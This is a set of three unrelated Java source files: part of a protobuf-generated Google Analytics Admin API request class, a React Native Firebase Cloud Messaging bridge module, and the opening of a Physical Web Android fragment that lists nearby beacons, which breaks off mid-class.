com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest.class,
com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest.Builder.class);
}
public static final int NAME_FIELD_NUMBER = 1;
private volatile java.lang.Object name_;
/**
*
*
* <pre>
* Required. The name of the measurement protocol secret to lookup.
* Format:
* properties/{property}/webDataStreams/{webDataStream}/measurementProtocolSecrets/{measurementProtocolSecret}
* Note: Any type of stream (WebDataStream, IosAppDataStream,
* AndroidAppDataStream) may be a parent.
* </pre>
*
* <code>
* string name = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = { ... }
* </code>
*
* @return The name.
*/
@java.lang.Override
public java.lang.String getName() {
java.lang.Object ref = name_;
if (ref instanceof java.lang.String) {
return (java.lang.String) ref;
} else {
com.google.protobuf.ByteString bs = (com.google.protobuf.ByteString) ref;
java.lang.String s = bs.toStringUtf8();
name_ = s;
return s;
}
}
/**
*
*
* <pre>
* Required. The name of the measurement protocol secret to lookup.
* Format:
* properties/{property}/webDataStreams/{webDataStream}/measurementProtocolSecrets/{measurementProtocolSecret}
* Note: Any type of stream (WebDataStream, IosAppDataStream,
* AndroidAppDataStream) may be a parent.
* </pre>
*
* <code>
* string name = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = { ... }
* </code>
*
* @return The bytes for name.
*/
@java.lang.Override
public com.google.protobuf.ByteString getNameBytes() {
java.lang.Object ref = name_;
if (ref instanceof java.lang.String) {
com.google.protobuf.ByteString b =
com.google.protobuf.ByteString.copyFromUtf8((java.lang.String) ref);
name_ = b;
return b;
} else {
return (com.google.protobuf.ByteString) ref;
}
}
private byte memoizedIsInitialized = -1;
@java.lang.Override
public final boolean isInitialized() {
byte isInitialized = memoizedIsInitialized;
if (isInitialized == 1) return true;
if (isInitialized == 0) return false;
memoizedIsInitialized = 1;
return true;
}
@java.lang.Override
public void writeTo(com.google.protobuf.CodedOutputStream output) throws java.io.IOException {
if (!com.google.protobuf.GeneratedMessageV3.isStringEmpty(name_)) {
com.google.protobuf.GeneratedMessageV3.writeString(output, 1, name_);
}
unknownFields.writeTo(output);
}
@java.lang.Override
public int getSerializedSize() {
int size = memoizedSize;
if (size != -1) return size;
size = 0;
if (!com.google.protobuf.GeneratedMessageV3.isStringEmpty(name_)) {
size += com.google.protobuf.GeneratedMessageV3.computeStringSize(1, name_);
}
size += unknownFields.getSerializedSize();
memoizedSize = size;
return size;
}
@java.lang.Override
public boolean equals(final java.lang.Object obj) {
if (obj == this) {
return true;
}
if (!(obj instanceof com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest)) {
return super.equals(obj);
}
com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest other =
(com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest) obj;
if (!getName().equals(other.getName())) return false;
if (!unknownFields.equals(other.unknownFields)) return false;
return true;
}
@java.lang.Override
public int hashCode() {
if (memoizedHashCode != 0) {
return memoizedHashCode;
}
int hash = 41;
hash = (19 * hash) + getDescriptor().hashCode();
hash = (37 * hash) + NAME_FIELD_NUMBER;
hash = (53 * hash) + getName().hashCode();
hash = (29 * hash) + unknownFields.hashCode();
memoizedHashCode = hash;
return hash;
}
public static com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest parseFrom(
java.nio.ByteBuffer data) throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data);
}
public static com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest parseFrom(
java.nio.ByteBuffer data, com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data, extensionRegistry);
}
public static com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest parseFrom(
com.google.protobuf.ByteString data)
throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data);
}
public static com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest parseFrom(
com.google.protobuf.ByteString data,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data, extensionRegistry);
}
public static com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest parseFrom(
byte[] data) throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data);
}
public static com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest parseFrom(
byte[] data, com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws com.google.protobuf.InvalidProtocolBufferException {
return PARSER.parseFrom(data, extensionRegistry);
}
public static com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest parseFrom(
java.io.InputStream input) throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseWithIOException(PARSER, input);
}
public static com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest parseFrom(
java.io.InputStream input, com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseWithIOException(
PARSER, input, extensionRegistry);
}
public static com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest
parseDelimitedFrom(java.io.InputStream input) throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseDelimitedWithIOException(PARSER, input);
}
public static com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest
parseDelimitedFrom(
java.io.InputStream input, com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseDelimitedWithIOException(
PARSER, input, extensionRegistry);
}
public static com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest parseFrom(
com.google.protobuf.CodedInputStream input) throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseWithIOException(PARSER, input);
}
public static com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest parseFrom(
com.google.protobuf.CodedInputStream input,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws java.io.IOException {
return com.google.protobuf.GeneratedMessageV3.parseWithIOException(
PARSER, input, extensionRegistry);
}
@java.lang.Override
public Builder newBuilderForType() {
return newBuilder();
}
public static Builder newBuilder() {
return DEFAULT_INSTANCE.toBuilder();
}
public static Builder newBuilder(
com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest prototype) {
return DEFAULT_INSTANCE.toBuilder().mergeFrom(prototype);
}
@java.lang.Override
public Builder toBuilder() {
return this == DEFAULT_INSTANCE ? new Builder() : new Builder().mergeFrom(this);
}
@java.lang.Override
protected Builder newBuilderForType(com.google.protobuf.GeneratedMessageV3.BuilderParent parent) {
Builder builder = new Builder(parent);
return builder;
}
/**
*
*
* <pre>
* Request message for GetMeasurementProtocolSecret RPC.
* </pre>
*
* Protobuf type {@code google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest}
*/
public static final class Builder extends com.google.protobuf.GeneratedMessageV3.Builder<Builder>
implements
// @@protoc_insertion_point(builder_implements:google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest)
com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequestOrBuilder {
public static final com.google.protobuf.Descriptors.Descriptor getDescriptor() {
return com.google.analytics.admin.v1alpha.AnalyticsAdminProto
.internal_static_google_analytics_admin_v1alpha_GetMeasurementProtocolSecretRequest_descriptor;
}
@java.lang.Override
protected com.google.protobuf.GeneratedMessageV3.FieldAccessorTable
internalGetFieldAccessorTable() {
return com.google.analytics.admin.v1alpha.AnalyticsAdminProto
.internal_static_google_analytics_admin_v1alpha_GetMeasurementProtocolSecretRequest_fieldAccessorTable
.ensureFieldAccessorsInitialized(
com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest.class,
com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest.Builder.class);
}
// Construct using
// com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest.newBuilder()
private Builder() {
maybeForceBuilderInitialization();
}
private Builder(com.google.protobuf.GeneratedMessageV3.BuilderParent parent) {
super(parent);
maybeForceBuilderInitialization();
}
private void maybeForceBuilderInitialization() {
if (com.google.protobuf.GeneratedMessageV3.alwaysUseFieldBuilders) {}
}
@java.lang.Override
public Builder clear() {
super.clear();
name_ = "";
return this;
}
@java.lang.Override
public com.google.protobuf.Descriptors.Descriptor getDescriptorForType() {
return com.google.analytics.admin.v1alpha.AnalyticsAdminProto
.internal_static_google_analytics_admin_v1alpha_GetMeasurementProtocolSecretRequest_descriptor;
}
@java.lang.Override
public com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest
getDefaultInstanceForType() {
return com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest
.getDefaultInstance();
}
@java.lang.Override
public com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest build() {
com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest result =
buildPartial();
if (!result.isInitialized()) {
throw newUninitializedMessageException(result);
}
return result;
}
@java.lang.Override
public com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest buildPartial() {
com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest result =
new com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest(this);
result.name_ = name_;
onBuilt();
return result;
}
@java.lang.Override
public Builder clone() {
return super.clone();
}
@java.lang.Override
public Builder setField(
com.google.protobuf.Descriptors.FieldDescriptor field, java.lang.Object value) {
return super.setField(field, value);
}
@java.lang.Override
public Builder clearField(com.google.protobuf.Descriptors.FieldDescriptor field) {
return super.clearField(field);
}
@java.lang.Override
public Builder clearOneof(com.google.protobuf.Descriptors.OneofDescriptor oneof) {
return super.clearOneof(oneof);
}
@java.lang.Override
public Builder setRepeatedField(
com.google.protobuf.Descriptors.FieldDescriptor field, int index, java.lang.Object value) {
return super.setRepeatedField(field, index, value);
}
@java.lang.Override
public Builder addRepeatedField(
com.google.protobuf.Descriptors.FieldDescriptor field, java.lang.Object value) {
return super.addRepeatedField(field, value);
}
@java.lang.Override
public Builder mergeFrom(com.google.protobuf.Message other) {
if (other instanceof com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest) {
return mergeFrom(
(com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest) other);
} else {
super.mergeFrom(other);
return this;
}
}
public Builder mergeFrom(
com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest other) {
if (other
== com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest
.getDefaultInstance()) return this;
if (!other.getName().isEmpty()) {
name_ = other.name_;
onChanged();
}
this.mergeUnknownFields(other.unknownFields);
onChanged();
return this;
}
@java.lang.Override
public final boolean isInitialized() {
return true;
}
@java.lang.Override
public Builder mergeFrom(
com.google.protobuf.CodedInputStream input,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws java.io.IOException {
com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest parsedMessage = null;
try {
parsedMessage = PARSER.parsePartialFrom(input, extensionRegistry);
} catch (com.google.protobuf.InvalidProtocolBufferException e) {
parsedMessage =
(com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest)
e.getUnfinishedMessage();
throw e.unwrapIOException();
} finally {
if (parsedMessage != null) {
mergeFrom(parsedMessage);
}
}
return this;
}
private java.lang.Object name_ = "";
/**
*
*
* <pre>
* Required. The name of the measurement protocol secret to lookup.
* Format:
* properties/{property}/webDataStreams/{webDataStream}/measurementProtocolSecrets/{measurementProtocolSecret}
* Note: Any type of stream (WebDataStream, IosAppDataStream,
* AndroidAppDataStream) may be a parent.
* </pre>
*
* <code>
* string name = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = { ... }
* </code>
*
* @return The name.
*/
public java.lang.String getName() {
java.lang.Object ref = name_;
if (!(ref instanceof java.lang.String)) {
com.google.protobuf.ByteString bs = (com.google.protobuf.ByteString) ref;
java.lang.String s = bs.toStringUtf8();
name_ = s;
return s;
} else {
return (java.lang.String) ref;
}
}
/**
*
*
* <pre>
* Required. The name of the measurement protocol secret to lookup.
* Format:
* properties/{property}/webDataStreams/{webDataStream}/measurementProtocolSecrets/{measurementProtocolSecret}
* Note: Any type of stream (WebDataStream, IosAppDataStream,
* AndroidAppDataStream) may be a parent.
* </pre>
*
* <code>
* string name = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = { ... }
* </code>
*
* @return The bytes for name.
*/
public com.google.protobuf.ByteString getNameBytes() {
java.lang.Object ref = name_;
if (ref instanceof String) {
com.google.protobuf.ByteString b =
com.google.protobuf.ByteString.copyFromUtf8((java.lang.String) ref);
name_ = b;
return b;
} else {
return (com.google.protobuf.ByteString) ref;
}
}
/**
*
*
* <pre>
* Required. The name of the measurement protocol secret to lookup.
* Format:
* properties/{property}/webDataStreams/{webDataStream}/measurementProtocolSecrets/{measurementProtocolSecret}
* Note: Any type of stream (WebDataStream, IosAppDataStream,
* AndroidAppDataStream) may be a parent.
* </pre>
*
* <code>
* string name = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = { ... }
* </code>
*
* @param value The name to set.
* @return This builder for chaining.
*/
public Builder setName(java.lang.String value) {
if (value == null) {
throw new NullPointerException();
}
name_ = value;
onChanged();
return this;
}
/**
*
*
* <pre>
* Required. The name of the measurement protocol secret to lookup.
* Format:
* properties/{property}/webDataStreams/{webDataStream}/measurementProtocolSecrets/{measurementProtocolSecret}
* Note: Any type of stream (WebDataStream, IosAppDataStream,
* AndroidAppDataStream) may be a parent.
* </pre>
*
* <code>
* string name = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = { ... }
* </code>
*
* @return This builder for chaining.
*/
public Builder clearName() {
name_ = getDefaultInstance().getName();
onChanged();
return this;
}
/**
*
*
* <pre>
* Required. The name of the measurement protocol secret to lookup.
* Format:
* properties/{property}/webDataStreams/{webDataStream}/measurementProtocolSecrets/{measurementProtocolSecret}
* Note: Any type of stream (WebDataStream, IosAppDataStream,
* AndroidAppDataStream) may be a parent.
* </pre>
*
* <code>
* string name = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = { ... }
* </code>
*
* @param value The bytes for name to set.
* @return This builder for chaining.
*/
public Builder setNameBytes(com.google.protobuf.ByteString value) {
if (value == null) {
throw new NullPointerException();
}
checkByteStringIsUtf8(value);
name_ = value;
onChanged();
return this;
}
@java.lang.Override
public final Builder setUnknownFields(final com.google.protobuf.UnknownFieldSet unknownFields) {
return super.setUnknownFields(unknownFields);
}
@java.lang.Override
public final Builder mergeUnknownFields(
final com.google.protobuf.UnknownFieldSet unknownFields) {
return super.mergeUnknownFields(unknownFields);
}
// @@protoc_insertion_point(builder_scope:google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest)
}
// @@protoc_insertion_point(class_scope:google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest)
private static final com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest
DEFAULT_INSTANCE;
static {
DEFAULT_INSTANCE = new com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest();
}
public static com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest
getDefaultInstance() {
return DEFAULT_INSTANCE;
}
private static final com.google.protobuf.Parser<GetMeasurementProtocolSecretRequest> PARSER =
new com.google.protobuf.AbstractParser<GetMeasurementProtocolSecretRequest>() {
@java.lang.Override
public GetMeasurementProtocolSecretRequest parsePartialFrom(
com.google.protobuf.CodedInputStream input,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws com.google.protobuf.InvalidProtocolBufferException {
return new GetMeasurementProtocolSecretRequest(input, extensionRegistry);
}
};
public static com.google.protobuf.Parser<GetMeasurementProtocolSecretRequest> parser() {
return PARSER;
}
@java.lang.Override
public com.google.protobuf.Parser<GetMeasurementProtocolSecretRequest> getParserForType() {
return PARSER;
}
@java.lang.Override
public com.google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest
getDefaultInstanceForType() {
return DEFAULT_INSTANCE;
}
}
| |
package io.fullstack.firestack;
import java.util.Map;
import android.content.Context;
import android.content.IntentFilter;
import android.content.Intent;
import android.content.BroadcastReceiver;
import android.util.Log;
import com.facebook.react.bridge.Arguments;
import com.facebook.react.bridge.Callback;
import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.bridge.ReactContext;
import com.facebook.react.bridge.ReactContextBaseJavaModule;
import com.facebook.react.bridge.Promise;
import com.facebook.react.bridge.ReactMethod;
import com.facebook.react.bridge.ReadableMap;
import com.facebook.react.bridge.ReadableMapKeySetIterator;
import com.facebook.react.bridge.ReadableType;
import com.facebook.react.bridge.WritableMap;
import com.google.firebase.iid.FirebaseInstanceId;
import com.google.firebase.messaging.FirebaseMessaging;
import com.google.firebase.messaging.RemoteMessage;
/**
* Created by nori on 2016/09/12.
*/
public class FirestackCloudMessaging extends ReactContextBaseJavaModule {
private static final String TAG = "FirestackCloudMessaging";
private static final String EVENT_NAME_TOKEN = "FirestackRefreshToken";
private static final String EVENT_NAME_NOTIFICATION = "FirestackReceiveNotification";
private static final String EVENT_NAME_SEND = "FirestackUpstreamSend";
public static final String INTENT_NAME_TOKEN = "io.fullstack.firestack.refreshToken";
public static final String INTENT_NAME_NOTIFICATION = "io.fullstack.firestack.ReceiveNotification";
public static final String INTENT_NAME_SEND = "io.fullstack.firestack.Upstream";
private ReactContext mReactContext;
private IntentFilter mRefreshTokenIntentFilter;
private IntentFilter mReceiveNotificationIntentFilter;
private IntentFilter mReceiveSendIntentFilter;
public FirestackCloudMessaging(ReactApplicationContext reactContext) {
super(reactContext);
mReactContext = reactContext;
mRefreshTokenIntentFilter = new IntentFilter(INTENT_NAME_TOKEN);
mReceiveNotificationIntentFilter = new IntentFilter(INTENT_NAME_NOTIFICATION);
mReceiveSendIntentFilter = new IntentFilter(INTENT_NAME_SEND);
initRefreshTokenHandler();
initMessageHandler();
initSendHandler();
Log.d(TAG, "New instance");
}
@Override
public String getName() {
return TAG;
}
@ReactMethod
public void getToken(final Callback callback) {
try {
String token = FirebaseInstanceId.getInstance().getToken();
Log.d(TAG, "Firebase token: " + token);
callback.invoke(null, token);
} catch (Exception e) {
WritableMap error = Arguments.createMap();
error.putString("message", e.getMessage());
callback.invoke(error);
}
}
/**
*
*/
private void initRefreshTokenHandler() {
getReactApplicationContext().registerReceiver(new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
WritableMap params = Arguments.createMap();
params.putString("token", intent.getStringExtra("token"));
ReactContext ctx = getReactApplicationContext();
Log.d(TAG, "initRefreshTokenHandler received event " + EVENT_NAME_TOKEN);
FirestackUtils.sendEvent(ctx, EVENT_NAME_TOKEN, params);
}
;
}, mRefreshTokenIntentFilter);
}
@ReactMethod
public void subscribeToTopic(String topic, final Callback callback) {
try {
FirebaseMessaging.getInstance().subscribeToTopic(topic);
callback.invoke(null,topic);
} catch (Exception e) {
e.printStackTrace();
Log.d(TAG, "Firebase token: " + e);
WritableMap error = Arguments.createMap();
error.putString("message", e.getMessage());
callback.invoke(error);
}
}
@ReactMethod
public void unsubscribeFromTopic(String topic, final Callback callback) {
try {
FirebaseMessaging.getInstance().unsubscribeFromTopic(topic);
callback.invoke(null,topic);
} catch (Exception e) {
WritableMap error = Arguments.createMap();
error.putString("message", e.getMessage());
callback.invoke(error);
}
}
private void initMessageHandler() {
Log.d(TAG, "Firestack initMessageHandler called");
getReactApplicationContext().registerReceiver(new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
RemoteMessage remoteMessage = intent.getParcelableExtra("data");
Log.d(TAG, "Firebase onReceive: " + remoteMessage);
WritableMap params = Arguments.createMap();
if (remoteMessage.getData().size() != 0) {
WritableMap dataMap = Arguments.createMap();
Map<String, String> data = remoteMessage.getData();
//Set<String> keysIterator = data.keySet();
for (String key : data.keySet()) {
dataMap.putString(key, data.get(key));
}
params.putMap("data", dataMap);
} else {
params.putNull("data");
}
if (remoteMessage.getNotification() != null) {
WritableMap notificationMap = Arguments.createMap();
RemoteMessage.Notification notification = remoteMessage.getNotification();
notificationMap.putString("title", notification.getTitle());
notificationMap.putString("body", notification.getBody());
notificationMap.putString("icon", notification.getIcon());
notificationMap.putString("sound", notification.getSound());
notificationMap.putString("tag", notification.getTag());
params.putMap("notification", notificationMap);
} else {
params.putNull("notification");
}
ReactContext ctx = getReactApplicationContext();
FirestackUtils.sendEvent(ctx, EVENT_NAME_NOTIFICATION, params);
}
}, mReceiveNotificationIntentFilter);
}
@ReactMethod
public void send(String senderId, String messageId, String messageType, ReadableMap params, final Callback callback) {
FirebaseMessaging fm = FirebaseMessaging.getInstance();
RemoteMessage.Builder remoteMessage = new RemoteMessage.Builder(senderId);
remoteMessage.setMessageId(messageId);
remoteMessage.setMessageType(messageType);
ReadableMapKeySetIterator iterator = params.keySetIterator();
while (iterator.hasNextKey()) {
String key = iterator.nextKey();
ReadableType type = params.getType(key);
if (type == ReadableType.String) {
remoteMessage.addData(key, params.getString(key));
Log.d(TAG, "Firebase send: " + key);
Log.d(TAG, "Firebase send: " + params.getString(key));
}
}
try {
fm.send(remoteMessage.build());
WritableMap res = Arguments.createMap();
res.putString("status", "success");
callback.invoke(null, res);
} catch(Exception e) {
Log.e(TAG, "Error sending message", e);
WritableMap error = Arguments.createMap();
error.putString("code", e.toString());
error.putString("message", e.toString());
callback.invoke(error);
}
}
private void initSendHandler() {
getReactApplicationContext().registerReceiver(new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
WritableMap params = Arguments.createMap();
if (intent.getBooleanExtra("hasError", false)) {
WritableMap error = Arguments.createMap();
error.putInt("code", intent.getIntExtra("errCode", 0));
error.putString("message", intent.getStringExtra("errorMessage"));
params.putMap("err", error);
} else {
params.putNull("err");
}
ReactContext ctx = getReactApplicationContext();
FirestackUtils.sendEvent(ctx, EVENT_NAME_SEND, params);
}
}, mReceiveSendIntentFilter);
}
}
| |
/*
* Copyright 2014 Google Inc. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.physical_web.physicalweb;
import android.animation.ObjectAnimator;
import android.annotation.SuppressLint;
import android.app.ListFragment;
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.BluetoothDevice;
import android.bluetooth.BluetoothManager;
import android.content.Context;
import android.content.Intent;
import android.graphics.drawable.AnimationDrawable;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.os.ParcelUuid;
import android.os.Parcelable;
import android.os.SystemClock;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.Menu;
import android.view.View;
import android.view.ViewGroup;
import android.view.animation.DecelerateInterpolator;
import android.webkit.URLUtil;
import android.widget.AdapterView;
import android.widget.BaseAdapter;
import android.widget.ImageView;
import android.widget.ListView;
import android.widget.TextView;
import android.widget.Toast;
import org.uribeacon.beacon.UriBeacon;
import org.uribeacon.scan.compat.ScanRecord;
import org.uribeacon.scan.compat.ScanResult;
import org.uribeacon.scan.util.RangingUtils;
import org.uribeacon.scan.util.RegionResolver;
import java.text.DecimalFormat;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.concurrent.TimeUnit;
/**
* This class shows the ui list for all
* detected nearby beacons.
* It also listens for tap events
* on items within the list.
* Tapped list items then launch
* the browser and point that browser
* to the given list items url.
*/
public class NearbyBeaconsFragment extends ListFragment
implements PwsClient.ResolveScanCallback,
SwipeRefreshWidget.OnRefreshListener,
MdnsUrlDiscoverer.MdnsUrlDiscovererCallback,
SsdpUrlDiscoverer.SsdpUrlDiscovererCallback {
private static final String TAG = "NearbyBeaconsFragment";
private static final long SCAN_TIME_MILLIS = TimeUnit.SECONDS.toMillis(3);
private final BluetoothAdapter.LeScanCallback mLeScanCallback = new LeScanCallback();
private BluetoothAdapter mBluetoothAdapter;
private HashMap<String, PwsClient.UrlMetadata> mUrlToUrlMetadata;
private long mScanStartTimestamp;
private HashMap<String, Long> mUrlToScanTime;
private HashMap<String, Long> mUrlToPwsTripTime;
private AnimationDrawable mScanningAnimationDrawable;
private boolean mIsDemoMode;
private boolean mIsScanRunning;
private Handler mHandler;
private NearbyBeaconsAdapter mNearbyDeviceAdapter;
private Parcelable[] mScanFilterUuids;
private SwipeRefreshWidget mSwipeRefreshWidget;
private MdnsUrlDiscoverer mMdnsUrlDiscoverer;
private SsdpUrlDiscoverer mSsdpUrlDiscoverer;
private boolean mDebugViewEnabled = false;
// Run when the SCAN_TIME_MILLIS has elapsed.
private Runnable mScanTimeout = new Runnable() {
@Override
public void run() {
mScanningAnimationDrawable.stop();
scanLeDevice(false);
mMdnsUrlDiscoverer.stopScanning();
mSsdpUrlDiscoverer.stopScanning();
mNearbyDeviceAdapter.sortUrls();
mNearbyDeviceAdapter.notifyDataSetChanged();
fadeInListView();
}
};
private AdapterView.OnItemLongClickListener mAdapterViewItemLongClickListener = new AdapterView.OnItemLongClickListener() {
public boolean onItemLongClick(AdapterView<?> av, View v, int position, long id) {
mDebugViewEnabled = !mDebugViewEnabled;
mNearbyDeviceAdapter.notifyDataSetChanged();
return true;
}
};
public static NearbyBeaconsFragment newInstance(boolean isDemoMode) {
NearbyBeaconsFragment nearbyBeaconsFragment = new NearbyBeaconsFragment();
Bundle bundle = new Bundle();
bundle.putBoolean("isDemoMode", isDemoMode);
nearbyBeaconsFragment.setArguments(bundle);
return nearbyBeaconsFragment;
}
private static String generateMockBluetoothAddress(int hashCode) {
String mockAddress = "00:11";
for (int i = 0; i < 4; i++) {
mockAddress += String.format(":%02X", hashCode & 0xFF);
hashCode = hashCode >> 8;
}
return mockAddress;
}
private void initialize(View rootView) {
setHasOptionsMenu(true);
mUrlToUrlMetadata = new HashMap<>();
mUrlToScanTime = new HashMap<>();
mUrlToPwsTripTime = new HashMap<>();
mHandler = new Handler();
mScanFilterUuids = new ParcelUuid[]{UriBeacon.URI_SERVICE_UUID, UriBeacon.TEST_SERVICE_UUID};
mSwipeRefreshWidget = (SwipeRefreshWidget) rootView.findViewById(R.id.swipe_refresh_widget);
mSwipeRefreshWidget.setColorSchemeResources(R.color.swipe_refresh_widget_first_color, R.color.swipe_refresh_widget_second_color);
mSwipeRefreshWidget.setOnRefreshListener(this);
mMdnsUrlDiscoverer = new MdnsUrlDiscoverer(getActivity(), NearbyBeaconsFragment.this);
mSsdpUrlDiscoverer = new SsdpUrlDiscoverer(getActivity(), NearbyBeaconsFragment.this);
getActivity().getActionBar().setTitle(R.string.title_nearby_beacons);
mNearbyDeviceAdapter = new NearbyBeaconsAdapter();
setListAdapter(mNearbyDeviceAdapter);
initializeScanningAnimation(rootView);
ListView listView = (ListView) rootView.findViewById(android.R.id.list);
listView.setOnItemLongClickListener(mAdapterViewItemLongClickListener);
mIsDemoMode = getArguments().getBoolean("isDemoMode");
// Only scan for beacons when not in demo mode
if (mIsDemoMode) {
getActivity().getActionBar().setDisplayHomeAsUpEnabled(true);
PwsClient.getInstance(getActivity()).findDemoUrlMetadata(new DemoResolveScanCallback(), TAG);
} else {
initializeBluetooth();
}
}
private void initializeBluetooth() {
// Initializes a Bluetooth adapter. For API version 18 and above,
// get a reference to BluetoothAdapter through BluetoothManager.
final BluetoothManager bluetoothManager = (BluetoothManager) getActivity().getSystemService(Context.BLUETOOTH_SERVICE);
mBluetoothAdapter = bluetoothManager.getAdapter();
}
private void initializeScanningAnimation(View rootView) {
TextView tv = (TextView) rootView.findViewById(android.R.id.empty);
//Get the top drawable
mScanningAnimationDrawable = (AnimationDrawable) tv.getCompoundDrawables()[1];
mScanningAnimationDrawable.start();
}
public View onCreateView(LayoutInflater layoutInflater, ViewGroup container, Bundle savedInstanceState) {
View rootView = layoutInflater.inflate(R.layout.fragment_nearby_beacons, container, false);
initialize(rootView);
return rootView;
}
@Override
public void onResume() {
super.onResume();
if (!mIsDemoMode) {
getActivity().getActionBar().setTitle(R.string.title_nearby_beacons);
getActivity().getActionBar().setDisplayHomeAsUpEnabled(false);
mScanningAnimationDrawable.start();
scanLeDevice(true);
mMdnsUrlDiscoverer.startScanning();
mSsdpUrlDiscoverer.startScanning();
} else {
getActivity().getActionBar().setTitle(R.string.title_nearby_beacons_demo);
}
}
@Override
public void onPause() {
super.onPause();
if (!mIsDemoMode) {
if (mIsScanRunning) {
scanLeDevice(false);
mMdnsUrlDiscoverer.stopScanning();
mSsdpUrlDiscoverer.stopScanning();
}
}
}
@Override
public void onPrepareOptionsMenu(Menu menu) {
super.onPrepareOptionsMenu(menu);
if (mIsDemoMode) {
menu.findItem(R.id.action_config).setVisible(false);
menu.findItem(R.id.action_about).setVisible(false);
menu.findItem(R.id.action_demo).setVisible(false);
} else {
menu.findItem(R.id.action_config).setVisible(true);
menu.findItem(R.id.action_about).setVisible(true);
menu.findItem(R.id.action_demo).setVisible(true);
}
}
@Override
public void onListItemClick(ListView l, View v, int position, long id) {
// If we are scanning
if (mIsScanRunning) {
// Don't respond to touch events
return;
}
// Get the url for the given item
String url = mNearbyDeviceAdapter.getItem(position);
String urlToNavigateTo = url;
// If this url has metadata
if (mUrlToUrlMetadata.get(url) != null) {
String siteUrl = mUrlToUrlMetadata.get(url).siteUrl;
// If the metadata has a siteUrl
if (siteUrl != null) {
urlToNavigateTo = siteUrl;
}
}
openUrlInBrowser(urlToNavigateTo);
}
